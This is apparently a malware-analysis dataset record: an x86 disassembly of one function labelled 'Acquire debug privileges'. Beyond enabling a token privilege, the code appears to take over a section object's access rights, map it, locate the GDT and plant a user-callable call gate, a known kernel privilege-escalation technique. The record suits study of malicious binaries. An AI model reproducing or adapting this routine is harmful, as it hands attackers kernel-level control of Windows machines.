Function at 0x41535c
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
push eax
push 0x20
call fcn.00405f28
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x4153c6
lea eax, [ebp - 0x30]
push eax
push 0x4156a8
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
je 0x4153bd
mov dword [ebp - 0x58], 1
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], 2
push 0
push 0
push 0x10
lea eax, [ebp - 0x58]
push eax
push 0
mov eax, dword [ebp - 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
mov eax, dword [ebp - 0x18]
push eax
call fcn.00405e90
push 0x4156bc
call fcn.00405f90
mov ebx, eax
push 0x4156c8
push ebx
call fcn.00405f98
mov edi, eax
mov edx, 0x4156d8
mov eax, ebx
call fcn.00413184
inc eax
mov eax, dword [eax]
mov dword [0x419a48], eax
push 0x4156ec
call fcn.00406000
mov ebx, eax
push 0x4156fc
push ebx
call fcn.00405f98
mov esi, eax
push 0x41570c
push ebx
call fcn.00405f98
mov dword [ebp - 0xc], eax
mov word [ebp - 0x14], 0x2c
mov word [ebp - 0x12], 0x2e
mov eax, 0x41571c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x48], 0x18
xor eax, eax
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 0x240
xor eax, eax
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x48]
push eax
push 6
lea eax, [ebp - 0x28]
push eax
call edi
test eax, eax
je 0x41558b
lea eax, [ebp - 0x18]
push eax
push 8
call fcn.00405f28
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x4156a0
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 1
mov eax, dword [ebp - 0x18]
push eax
call sub.advapi32.dll_GetTokenInformation
mov eax, dword [ebp - 0x1c]
call fcn.004025a0
mov ebx, eax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x1c]
push eax
push ebx
push 1
mov eax, dword [ebp - 0x18]
push eax
call sub.advapi32.dll_GetTokenInformation
test eax, eax
je 0x4156a0
mov eax, dword [ebp - 0x18]
push eax
call fcn.00405e90
lea eax, [ebp - 0x48]
push eax
push 0x60000
lea eax, [ebp - 0x28]
push eax
call edi
test eax, eax
jne 0x4156a0
lea eax, [ebp - 0x24]
push eax
push 0
lea eax, [ebp - 0x20]
push eax
push 0
push 0
push 4
push 6
mov eax, dword [ebp - 0x28]
push eax
call esi
test eax, eax
jne 0x4156a0
mov eax, dword [ebx]
push eax
call sub.advapi32.dll_GetLengthSid
mov edx, dword [ebp - 0x20]
movzx edx, word [edx + 2]
add edx, 0xc
add eax, edx
push eax
push 0
call fcn.00406008
mov esi, eax
mov eax, dword [ebp - 0x20]
movzx ecx, word [eax + 2]
mov edx, esi
mov eax, dword [ebp - 0x20]
call fcn.004026b8
mov eax, dword [ebp - 0x24]
push eax
call fcn.00406010
mov eax, dword [ebx]
push eax
call sub.advapi32.dll_GetLengthSid
add ax, 0xc
add word [esi + 2], ax
mov eax, dword [ebx]
push eax
push 0xf001f
push 2
push esi
call sub.advapi32.dll_AddAccessAllowedAce
push 0
push esi
push 0
push 0
push 4
push 6
mov eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0xc]
mov eax, ebx
call fcn.004025b8
push esi
call fcn.00406010
mov eax, dword [ebp - 0x28]
push eax
call fcn.00405e90
lea eax, [ebp - 0x48]
push eax
push 6
lea eax, [ebp - 0x28]
push eax
call edi
test eax, eax
jne 0x4156a0
mov eax, 0x415354
mov ebx, 0x4152f4
sub eax, ebx
push eax
push ebx
call sub.KERNEL32.DLL_GetStdHandle
test eax, eax
je 0x4156a0
sgdt [ebp - 6]
movzx edx, word [ebp - 6]
add edx, 0xfff
and edx, 0xfffff000
push edx
mov eax, dword [ebp - 4]
cmp eax, 0x80000000
jb 0x4155d0
cmp eax, 0xa0000000
ja 0x4155d0
xor eax, eax
jmp 0x4155d2
mov al, 1
and eax, 0x7f
mov eax, dword [eax*4 + 0x417734]
and eax, dword [ebp - 4]
push eax
push 0
push 6
mov eax, dword [ebp - 0x28]
push eax
call fcn.00406018
test eax, eax
je 0x4156a0
xor ebx, ebx
xor edx, edx
movzx ecx, word [ebp - 6]
shr ecx, 3
cmp ecx, 0xa
jb 0x415629
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x1c]
test byte [eax + ecx*8 + 5], 0xf0
jne 0x415620
test ebx, ebx
jne 0x41561b
mov ebx, dword [ebp - 0x1c]
jmp 0x415620
mov edx, dword [ebp - 0x1c]
jmp 0x415629
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 9
jne 0x415608
test edx, edx
je 0x4156a0
lea ecx, [eax + 8]
mov ecx, dword [ecx]
lea esi, [eax + edx*8]
mov dword [esi], ecx
lea ecx, [eax + 8]
add ecx, 4
mov ecx, dword [ecx]
lea esi, [eax + edx*8]
add esi, 4
mov dword [esi], ecx
mov ecx, 0x4152f4
mov word [eax + ebx*8], cx
shl edx, 3
mov word [eax + ebx*8 + 2], dx
mov word [eax + ebx*8 + 4], 0xec00
shr ecx, 0x10
mov word [eax + ebx*8 + 6], cx
push eax
call sub.KERNEL32.DLL_GetSystemTime
mov eax, dword [ebp - 0x28]
push eax
call fcn.00405e90
mov eax, ebx
shl eax, 3
add ax, 3
mov word [0x419a44], ax
push ebx
push 0
lea eax, [ebp - 0x1c]
push eax
mov ecx, 0x415354
xor edx, edx
xor eax, eax
call fcn.00403488
push eax
call fcn.00405e90
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret